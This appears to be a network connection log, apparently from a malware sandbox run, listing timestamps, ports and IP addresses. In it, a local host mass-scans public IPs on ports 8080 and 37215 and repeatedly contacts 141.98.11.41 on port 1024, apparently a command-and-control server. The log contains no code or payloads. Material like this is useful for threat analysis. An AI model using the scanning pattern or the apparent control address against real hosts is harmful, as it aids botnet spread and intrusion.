Feb 19, 2025 19:48:55.282007933 CET	7173	8080	192.168.2.15	95.238.69.218
Feb 19, 2025 19:48:55.282020092 CET	7173	8080	192.168.2.15	62.242.22.144
Feb 19, 2025 19:48:55.282022953 CET	7173	8080	192.168.2.15	85.183.206.18
Feb 19, 2025 19:48:55.282035112 CET	7173	8080	192.168.2.15	94.68.121.138
Feb 19, 2025 19:48:55.282036066 CET	7173	8080	192.168.2.15	31.21.181.33
Feb 19, 2025 19:48:55.282048941 CET	7173	8080	192.168.2.15	95.218.18.87
Feb 19, 2025 19:48:55.282052040 CET	7173	8080	192.168.2.15	94.125.202.195
Feb 19, 2025 19:48:55.282068014 CET	7173	8080	192.168.2.15	95.113.244.179
Feb 19, 2025 19:48:55.282078981 CET	7173	8080	192.168.2.15	31.163.27.218
Feb 19, 2025 19:48:55.282083988 CET	7173	8080	192.168.2.15	31.96.133.82
Feb 19, 2025 19:48:55.282095909 CET	7173	8080	192.168.2.15	31.165.70.171
Feb 19, 2025 19:48:55.282098055 CET	7173	8080	192.168.2.15	85.209.214.144
Feb 19, 2025 19:48:55.282098055 CET	7173	8080	192.168.2.15	94.171.51.244
Feb 19, 2025 19:48:55.282109976 CET	7173	8080	192.168.2.15	95.11.86.40
Feb 19, 2025 19:48:55.282114029 CET	7173	8080	192.168.2.15	85.121.84.153
Feb 19, 2025 19:48:55.282128096 CET	7173	8080	192.168.2.15	85.250.56.249
Feb 19, 2025 19:48:55.282130957 CET	7173	8080	192.168.2.15	31.100.236.39
Feb 19, 2025 19:48:55.282145023 CET	7173	8080	192.168.2.15	85.220.173.50
Feb 19, 2025 19:48:55.282145023 CET	7173	8080	192.168.2.15	94.243.102.133
Feb 19, 2025 19:48:55.282145023 CET	7173	8080	192.168.2.15	31.88.25.160
Feb 19, 2025 19:48:55.282160044 CET	7173	8080	192.168.2.15	94.178.237.150
Feb 19, 2025 19:48:55.282160997 CET	7173	8080	192.168.2.15	31.66.246.0
Feb 19, 2025 19:48:55.282174110 CET	7173	8080	192.168.2.15	31.180.34.123
Feb 19, 2025 19:48:55.282174110 CET	7173	8080	192.168.2.15	31.247.223.121
Feb 19, 2025 19:48:55.282174110 CET	7173	8080	192.168.2.15	94.213.150.24
Feb 19, 2025 19:48:55.282186031 CET	7173	8080	192.168.2.15	31.180.140.253
Feb 19, 2025 19:48:55.282201052 CET	7173	8080	192.168.2.15	85.241.141.134
Feb 19, 2025 19:48:55.282201052 CET	7173	8080	192.168.2.15	94.99.114.96
Feb 19, 2025 19:48:55.282201052 CET	7173	8080	192.168.2.15	62.215.217.243
Feb 19, 2025 19:48:55.282202005 CET	7173	8080	192.168.2.15	62.244.72.24
Feb 19, 2025 19:48:55.282203913 CET	7173	8080	192.168.2.15	94.166.156.11
Feb 19, 2025 19:48:55.282218933 CET	7173	8080	192.168.2.15	85.51.83.124
Feb 19, 2025 19:48:55.282231092 CET	7173	8080	192.168.2.15	62.137.55.102
Feb 19, 2025 19:48:55.282232046 CET	7173	8080	192.168.2.15	62.171.46.122
Feb 19, 2025 19:48:55.282233000 CET	7173	8080	192.168.2.15	31.39.76.136
Feb 19, 2025 19:48:55.282243013 CET	7173	8080	192.168.2.15	85.33.62.226
Feb 19, 2025 19:48:55.282244921 CET	7173	8080	192.168.2.15	85.132.58.62
Feb 19, 2025 19:48:55.282244921 CET	7173	8080	192.168.2.15	95.87.118.41
Feb 19, 2025 19:48:55.282253981 CET	7173	8080	192.168.2.15	31.39.210.251
Feb 19, 2025 19:48:55.282258987 CET	8080	7173	62.133.146.104	192.168.2.15
Feb 19, 2025 19:48:55.282264948 CET	7173	8080	192.168.2.15	95.252.15.225
Feb 19, 2025 19:48:55.282268047 CET	7173	8080	192.168.2.15	31.83.116.169
Feb 19, 2025 19:48:55.282274961 CET	7173	8080	192.168.2.15	31.202.29.223
Feb 19, 2025 19:48:55.282286882 CET	7173	8080	192.168.2.15	95.47.162.14
Feb 19, 2025 19:48:55.282289982 CET	7173	8080	192.168.2.15	62.248.206.176
Feb 19, 2025 19:48:55.282301903 CET	7173	8080	192.168.2.15	62.133.146.104
Feb 19, 2025 19:48:55.282305956 CET	7173	8080	192.168.2.15	31.77.223.127
Feb 19, 2025 19:48:55.282318115 CET	7173	8080	192.168.2.15	85.9.72.212
Feb 19, 2025 19:48:55.282318115 CET	7173	8080	192.168.2.15	94.221.70.126
Feb 19, 2025 19:48:55.282322884 CET	7173	8080	192.168.2.15	85.93.14.40
Feb 19, 2025 19:48:55.282329082 CET	7173	8080	192.168.2.15	94.148.156.132
Feb 19, 2025 19:48:55.282344103 CET	7173	8080	192.168.2.15	31.1.180.121
Feb 19, 2025 19:48:55.282346010 CET	7173	8080	192.168.2.15	85.91.139.155
Feb 19, 2025 19:48:55.282346010 CET	7173	8080	192.168.2.15	31.122.180.17
Feb 19, 2025 19:48:55.282349110 CET	7173	8080	192.168.2.15	95.244.63.21
Feb 19, 2025 19:48:55.282349110 CET	7173	8080	192.168.2.15	62.24.163.219
Feb 19, 2025 19:48:55.282361031 CET	7173	8080	192.168.2.15	94.102.116.1
Feb 19, 2025 19:48:55.282361984 CET	7173	8080	192.168.2.15	31.104.110.88
Feb 19, 2025 19:48:55.282373905 CET	7173	8080	192.168.2.15	95.213.40.175
Feb 19, 2025 19:48:55.282376051 CET	7173	8080	192.168.2.15	85.38.191.245
Feb 19, 2025 19:48:55.282378912 CET	7173	8080	192.168.2.15	94.38.156.212
Feb 19, 2025 19:48:55.282378912 CET	7173	8080	192.168.2.15	31.63.200.90
Feb 19, 2025 19:48:55.282378912 CET	7173	8080	192.168.2.15	85.96.63.74
Feb 19, 2025 19:48:55.282390118 CET	7173	8080	192.168.2.15	85.237.84.142
Feb 19, 2025 19:48:55.282392025 CET	7173	8080	192.168.2.15	85.90.9.153
Feb 19, 2025 19:48:55.282402992 CET	7173	8080	192.168.2.15	94.61.74.37
Feb 19, 2025 19:48:55.282408953 CET	7173	8080	192.168.2.15	62.185.212.231
Feb 19, 2025 19:48:55.282418013 CET	7173	8080	192.168.2.15	94.253.5.76
Feb 19, 2025 19:48:55.282419920 CET	7173	8080	192.168.2.15	31.96.38.231
Feb 19, 2025 19:48:55.282429934 CET	7173	8080	192.168.2.15	31.206.177.42
Feb 19, 2025 19:48:55.282435894 CET	7173	8080	192.168.2.15	95.76.228.8
Feb 19, 2025 19:48:55.282448053 CET	7173	8080	192.168.2.15	85.245.128.241
Feb 19, 2025 19:48:55.282448053 CET	7173	8080	192.168.2.15	95.102.7.80
Feb 19, 2025 19:48:55.282464027 CET	7173	8080	192.168.2.15	85.185.72.29
Feb 19, 2025 19:48:55.282465935 CET	7173	8080	192.168.2.15	94.109.6.157
Feb 19, 2025 19:48:55.282469988 CET	7173	8080	192.168.2.15	94.130.36.1
Feb 19, 2025 19:48:55.282483101 CET	7173	8080	192.168.2.15	94.145.5.132
Feb 19, 2025 19:48:55.282495022 CET	7173	8080	192.168.2.15	94.225.184.159
Feb 19, 2025 19:48:55.282507896 CET	7173	8080	192.168.2.15	62.214.236.5
Feb 19, 2025 19:48:55.282507896 CET	7173	8080	192.168.2.15	62.64.87.155
Feb 19, 2025 19:48:55.282507896 CET	7173	8080	192.168.2.15	62.128.37.232
Feb 19, 2025 19:48:55.282510042 CET	7173	8080	192.168.2.15	85.196.238.209
Feb 19, 2025 19:48:55.282524109 CET	7173	8080	192.168.2.15	95.106.109.51
Feb 19, 2025 19:48:55.282536030 CET	7173	8080	192.168.2.15	62.176.218.43
Feb 19, 2025 19:48:55.282537937 CET	7173	8080	192.168.2.15	94.154.105.245
Feb 19, 2025 19:48:55.282552004 CET	7173	8080	192.168.2.15	62.173.73.44
Feb 19, 2025 19:48:55.282553911 CET	7173	8080	192.168.2.15	62.157.118.141
Feb 19, 2025 19:48:55.282557011 CET	7173	8080	192.168.2.15	85.192.224.56
Feb 19, 2025 19:48:55.282568932 CET	7173	8080	192.168.2.15	85.212.23.36
Feb 19, 2025 19:48:55.282568932 CET	7173	8080	192.168.2.15	94.50.201.32
Feb 19, 2025 19:48:55.282568932 CET	7173	8080	192.168.2.15	31.22.1.119
Feb 19, 2025 19:48:55.282573938 CET	7173	8080	192.168.2.15	62.60.59.221
Feb 19, 2025 19:48:55.282587051 CET	7173	8080	192.168.2.15	62.253.9.180
Feb 19, 2025 19:48:55.282588959 CET	7173	8080	192.168.2.15	85.198.104.158
Feb 19, 2025 19:48:55.282602072 CET	7173	8080	192.168.2.15	85.136.127.252
Feb 19, 2025 19:48:55.282625914 CET	7173	8080	192.168.2.15	31.252.141.52
Feb 19, 2025 19:48:55.282629013 CET	7173	8080	192.168.2.15	62.223.59.99
Feb 19, 2025 19:48:55.282640934 CET	7173	8080	192.168.2.15	85.96.95.244
Feb 19, 2025 19:48:55.282644033 CET	7173	8080	192.168.2.15	31.249.210.138
Feb 19, 2025 19:48:55.282655954 CET	7173	8080	192.168.2.15	62.242.119.117
Feb 19, 2025 19:48:55.282658100 CET	7173	8080	192.168.2.15	85.248.232.170
Feb 19, 2025 19:48:55.282658100 CET	7173	8080	192.168.2.15	62.203.10.48
Feb 19, 2025 19:48:55.282658100 CET	7173	8080	192.168.2.15	95.182.16.63
Feb 19, 2025 19:48:55.282658100 CET	7173	8080	192.168.2.15	94.12.44.253
Feb 19, 2025 19:48:55.282677889 CET	7173	8080	192.168.2.15	94.110.180.201
Feb 19, 2025 19:48:55.282677889 CET	7173	8080	192.168.2.15	62.98.189.13
Feb 19, 2025 19:48:55.282691002 CET	7173	8080	192.168.2.15	95.185.139.152
Feb 19, 2025 19:48:55.282691002 CET	7173	8080	192.168.2.15	31.124.136.172
Feb 19, 2025 19:48:55.282721043 CET	7173	8080	192.168.2.15	94.122.149.3
Feb 19, 2025 19:48:55.282727957 CET	7173	8080	192.168.2.15	95.232.63.91
Feb 19, 2025 19:48:55.282732010 CET	7173	8080	192.168.2.15	31.101.104.147
Feb 19, 2025 19:48:55.282732964 CET	7173	8080	192.168.2.15	62.79.237.244
Feb 19, 2025 19:48:55.282732964 CET	7173	8080	192.168.2.15	31.171.93.30
Feb 19, 2025 19:48:55.282732964 CET	7173	8080	192.168.2.15	31.37.102.128
Feb 19, 2025 19:48:55.282732964 CET	7173	8080	192.168.2.15	85.203.67.239
Feb 19, 2025 19:48:55.282751083 CET	7173	8080	192.168.2.15	31.242.112.3
Feb 19, 2025 19:48:55.282751083 CET	7173	8080	192.168.2.15	31.15.70.236
Feb 19, 2025 19:48:55.282762051 CET	7173	8080	192.168.2.15	85.99.243.208
Feb 19, 2025 19:48:55.282762051 CET	7173	8080	192.168.2.15	94.238.132.110
Feb 19, 2025 19:48:55.282772064 CET	7173	8080	192.168.2.15	31.227.111.128
Feb 19, 2025 19:48:55.282774925 CET	7173	8080	192.168.2.15	94.42.144.206
Feb 19, 2025 19:48:55.282785892 CET	7173	8080	192.168.2.15	85.78.119.154
Feb 19, 2025 19:48:55.282799006 CET	7173	8080	192.168.2.15	62.250.138.183
Feb 19, 2025 19:48:55.282800913 CET	7173	8080	192.168.2.15	94.248.59.47
Feb 19, 2025 19:48:55.282807112 CET	7173	8080	192.168.2.15	31.253.159.87
Feb 19, 2025 19:48:55.282814980 CET	7173	8080	192.168.2.15	94.16.194.152
Feb 19, 2025 19:48:55.282815933 CET	7173	8080	192.168.2.15	95.148.23.165
Feb 19, 2025 19:48:55.282815933 CET	7173	8080	192.168.2.15	62.194.2.93
Feb 19, 2025 19:48:55.282829046 CET	7173	8080	192.168.2.15	31.137.2.199
Feb 19, 2025 19:48:55.282830954 CET	7173	8080	192.168.2.15	94.92.198.125
Feb 19, 2025 19:48:55.282840014 CET	7173	8080	192.168.2.15	94.54.23.63
Feb 19, 2025 19:48:55.282844067 CET	7173	8080	192.168.2.15	31.173.16.217
Feb 19, 2025 19:48:55.282844067 CET	7173	8080	192.168.2.15	62.30.137.117
Feb 19, 2025 19:48:55.282857895 CET	7173	8080	192.168.2.15	85.144.65.44
Feb 19, 2025 19:48:55.282871962 CET	7173	8080	192.168.2.15	94.77.200.90
Feb 19, 2025 19:48:55.282871962 CET	7173	8080	192.168.2.15	95.24.251.169
Feb 19, 2025 19:48:55.282874107 CET	7173	8080	192.168.2.15	62.231.58.36
Feb 19, 2025 19:48:55.282874107 CET	7173	8080	192.168.2.15	62.172.27.95
Feb 19, 2025 19:48:55.282874107 CET	7173	8080	192.168.2.15	94.113.165.97
Feb 19, 2025 19:48:55.282885075 CET	7173	8080	192.168.2.15	62.74.171.71
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	95.218.34.225
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	31.147.63.240
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	95.52.148.220
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	85.25.205.110
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	94.98.233.201
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	62.186.149.184
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	94.73.155.106
Feb 19, 2025 19:48:55.283025980 CET	7173	8080	192.168.2.15	94.32.127.14
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	95.47.155.233
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	95.248.97.218
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	85.59.43.247
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	62.228.213.170
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	31.249.16.44
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	31.208.38.102
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	62.165.35.225
Feb 19, 2025 19:48:55.283040047 CET	7173	8080	192.168.2.15	31.28.241.171
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	95.55.177.90
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	62.225.91.63
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	62.12.168.79
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	62.64.112.29
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	62.156.212.247
Feb 19, 2025 19:48:55.283057928 CET	7173	8080	192.168.2.15	85.101.46.3
Feb 19, 2025 19:48:55.283617973 CET	48264	8080	192.168.2.15	62.133.146.104
Feb 19, 2025 19:48:55.285008907 CET	53492	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.285048008 CET	53492	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.288546085 CET	53962	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.289386988 CET	53934	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:55.289401054 CET	53934	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:55.289988041 CET	8080	53492	95.140.10.215	192.168.2.15
Feb 19, 2025 19:48:55.290256977 CET	80	45624	88.53.232.157	192.168.2.15
Feb 19, 2025 19:48:55.290267944 CET	80	46302	88.102.245.23	192.168.2.15
Feb 19, 2025 19:48:55.290277958 CET	80	53518	88.249.193.225	192.168.2.15
Feb 19, 2025 19:48:55.290288925 CET	80	37082	88.140.138.215	192.168.2.15
Feb 19, 2025 19:48:55.290333986 CET	54398	8080	192.168.2.15	31.125.69.225
Feb 19, 2025 19:48:55.291542053 CET	39420	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:55.291555882 CET	39420	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:55.292448997 CET	39882	8080	192.168.2.15	94.165.104.157
Feb 19, 2025 19:48:55.293515921 CET	45852	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.293526888 CET	45852	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.293535948 CET	8080	53962	95.140.10.215	192.168.2.15
Feb 19, 2025 19:48:55.293667078 CET	53962	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.294279099 CET	80	47568	88.212.157.47	192.168.2.15
Feb 19, 2025 19:48:55.294289112 CET	80	59336	88.126.104.108	192.168.2.15
Feb 19, 2025 19:48:55.294298887 CET	80	44674	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:55.294308901 CET	80	51386	88.112.1.196	192.168.2.15
Feb 19, 2025 19:48:55.294382095 CET	8080	53934	31.125.69.225	192.168.2.15
Feb 19, 2025 19:48:55.296495914 CET	8080	39420	94.165.104.157	192.168.2.15
Feb 19, 2025 19:48:55.298242092 CET	80	59352	88.34.237.117	192.168.2.15
Feb 19, 2025 19:48:55.298253059 CET	80	42702	88.155.0.182	192.168.2.15
Feb 19, 2025 19:48:55.298516989 CET	8080	45852	95.164.102.217	192.168.2.15
Feb 19, 2025 19:48:55.301239967 CET	46310	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.302237988 CET	80	46500	88.108.239.116	192.168.2.15
Feb 19, 2025 19:48:55.302257061 CET	80	56558	88.0.166.77	192.168.2.15
Feb 19, 2025 19:48:55.302267075 CET	80	56728	88.143.14.164	192.168.2.15
Feb 19, 2025 19:48:55.302284002 CET	80	60490	88.225.132.35	192.168.2.15
Feb 19, 2025 19:48:55.302294016 CET	80	50952	88.234.91.223	192.168.2.15
Feb 19, 2025 19:48:55.306318998 CET	8080	46310	95.164.102.217	192.168.2.15
Feb 19, 2025 19:48:55.306365013 CET	46310	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.315342903 CET	50576	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.315342903 CET	50576	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.320291996 CET	8080	50576	94.111.87.81	192.168.2.15
Feb 19, 2025 19:48:55.330277920 CET	8080	53492	95.140.10.215	192.168.2.15
Feb 19, 2025 19:48:55.332606077 CET	51030	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.337626934 CET	8080	51030	94.111.87.81	192.168.2.15
Feb 19, 2025 19:48:55.337671041 CET	51030	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.338229895 CET	8080	39420	94.165.104.157	192.168.2.15
Feb 19, 2025 19:48:55.338241100 CET	8080	53934	31.125.69.225	192.168.2.15
Feb 19, 2025 19:48:55.342261076 CET	8080	45852	95.164.102.217	192.168.2.15
Feb 19, 2025 19:48:55.352585077 CET	36310	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.352603912 CET	36310	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.357561111 CET	8080	36310	62.204.65.60	192.168.2.15
Feb 19, 2025 19:48:55.366210938 CET	8080	50576	94.111.87.81	192.168.2.15
Feb 19, 2025 19:48:55.366238117 CET	36742	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.371953011 CET	8080	36742	62.204.65.60	192.168.2.15
Feb 19, 2025 19:48:55.371994972 CET	36742	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.394875050 CET	42310	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.394893885 CET	42310	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.399884939 CET	8080	42310	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:55.402240038 CET	8080	36310	62.204.65.60	192.168.2.15
Feb 19, 2025 19:48:55.407185078 CET	42654	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.412147999 CET	8080	42654	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:55.413310051 CET	42654	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.427283049 CET	58692	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.427283049 CET	58692	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.432254076 CET	8080	58692	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:55.440984964 CET	59002	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.446161032 CET	8080	59002	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:55.446202040 CET	59002	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.446211100 CET	8080	42310	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:55.459247112 CET	55836	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.459247112 CET	55836	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.463454008 CET	56124	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.464245081 CET	8080	55836	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:55.465450048 CET	37618	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.465466976 CET	37618	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.466279984 CET	37870	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.467293024 CET	40486	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.467293024 CET	40486	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.467932940 CET	40670	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.468539000 CET	8080	56124	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:55.468585014 CET	56124	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.468739033 CET	33022	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.468753099 CET	33022	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.469521046 CET	33172	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.470561028 CET	8080	37618	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:55.471246004 CET	8080	37870	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:55.471292973 CET	37870	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.472150087 CET	46980	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.472150087 CET	46980	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.472282887 CET	8080	40486	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:55.472922087 CET	8080	40670	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:55.473704100 CET	8080	33022	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:55.473722935 CET	40670	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.474211931 CET	8080	58692	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:55.474524975 CET	8080	33172	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:55.474543095 CET	47108	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.474559069 CET	33172	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.475131989 CET	49882	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.475131989 CET	49882	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.475574017 CET	49918	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.476555109 CET	46310	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.476555109 CET	51030	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.476567984 CET	36742	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.476592064 CET	53962	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.476592064 CET	42654	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.476604939 CET	56124	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.476612091 CET	59002	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.476612091 CET	37870	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.476625919 CET	33172	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.476640940 CET	40670	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.477195978 CET	8080	46980	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:55.479578018 CET	8080	47108	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:55.479645014 CET	47108	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.479811907 CET	47108	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.480123043 CET	8080	49882	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.480577946 CET	8080	49918	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.480621099 CET	49918	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.480638981 CET	49918	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.481606960 CET	8080	46310	95.164.102.217	192.168.2.15
Feb 19, 2025 19:48:55.481659889 CET	46310	8080	192.168.2.15	95.164.102.217
Feb 19, 2025 19:48:55.481828928 CET	8080	36742	62.204.65.60	192.168.2.15
Feb 19, 2025 19:48:55.481839895 CET	8080	51030	94.111.87.81	192.168.2.15
Feb 19, 2025 19:48:55.481851101 CET	8080	53962	95.140.10.215	192.168.2.15
Feb 19, 2025 19:48:55.481862068 CET	8080	42654	94.22.192.173	192.168.2.15
Feb 19, 2025 19:48:55.481869936 CET	36742	8080	192.168.2.15	62.204.65.60
Feb 19, 2025 19:48:55.481872082 CET	8080	56124	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:55.481882095 CET	8080	59002	62.187.4.194	192.168.2.15
Feb 19, 2025 19:48:55.481892109 CET	51030	8080	192.168.2.15	94.111.87.81
Feb 19, 2025 19:48:55.481899977 CET	8080	37870	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:55.481909990 CET	8080	33172	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:55.481918097 CET	56124	8080	192.168.2.15	95.17.123.193
Feb 19, 2025 19:48:55.481919050 CET	59002	8080	192.168.2.15	62.187.4.194
Feb 19, 2025 19:48:55.481920958 CET	8080	40670	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:55.481951952 CET	33172	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.481954098 CET	37870	8080	192.168.2.15	62.159.99.40
Feb 19, 2025 19:48:55.482012987 CET	42654	8080	192.168.2.15	94.22.192.173
Feb 19, 2025 19:48:55.482012987 CET	53962	8080	192.168.2.15	95.140.10.215
Feb 19, 2025 19:48:55.482012987 CET	40670	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.485023022 CET	8080	47108	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:55.485474110 CET	47108	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.485744953 CET	8080	49918	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.485785007 CET	49918	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.510241032 CET	8080	55836	95.17.123.193	192.168.2.15
Feb 19, 2025 19:48:55.514298916 CET	8080	33022	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:55.514309883 CET	8080	40486	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:55.514319897 CET	8080	37618	62.159.99.40	192.168.2.15
Feb 19, 2025 19:48:55.522352934 CET	8080	46980	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:55.522367001 CET	8080	49882	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.694070101 CET	1024	52612	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.694607019 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.694607019 CET	52612	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.696271896 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.701311111 CET	1024	53116	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.701879978 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.703332901 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.708385944 CET	1024	53116	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.711177111 CET	53116	1024	192.168.2.15	141.98.11.41
Feb 19, 2025 19:48:55.716378927 CET	1024	53116	141.98.11.41	192.168.2.15
Feb 19, 2025 19:48:55.941355944 CET	6405	37215	192.168.2.15	197.126.156.248
Feb 19, 2025 19:48:55.941387892 CET	6405	37215	192.168.2.15	197.27.36.197
Feb 19, 2025 19:48:55.941414118 CET	6405	37215	192.168.2.15	197.169.177.63
Feb 19, 2025 19:48:55.941423893 CET	6405	37215	192.168.2.15	197.236.79.30
Feb 19, 2025 19:48:55.941440105 CET	6405	37215	192.168.2.15	197.24.44.190
Feb 19, 2025 19:48:55.941456079 CET	6405	37215	192.168.2.15	197.163.245.108
Feb 19, 2025 19:48:55.941473007 CET	6405	37215	192.168.2.15	197.231.44.112
Feb 19, 2025 19:48:55.941530943 CET	6405	37215	192.168.2.15	197.163.45.79
Feb 19, 2025 19:48:55.941567898 CET	6405	37215	192.168.2.15	197.220.130.145
Feb 19, 2025 19:48:55.941602945 CET	6405	37215	192.168.2.15	197.226.56.159
Feb 19, 2025 19:48:55.941606998 CET	6405	37215	192.168.2.15	197.112.216.64
Feb 19, 2025 19:48:55.941632032 CET	6405	37215	192.168.2.15	197.216.11.24
Feb 19, 2025 19:48:55.941657066 CET	6405	37215	192.168.2.15	197.215.36.144
Feb 19, 2025 19:48:55.941657066 CET	6405	37215	192.168.2.15	197.228.156.122
Feb 19, 2025 19:48:55.941657066 CET	6405	37215	192.168.2.15	197.137.133.38
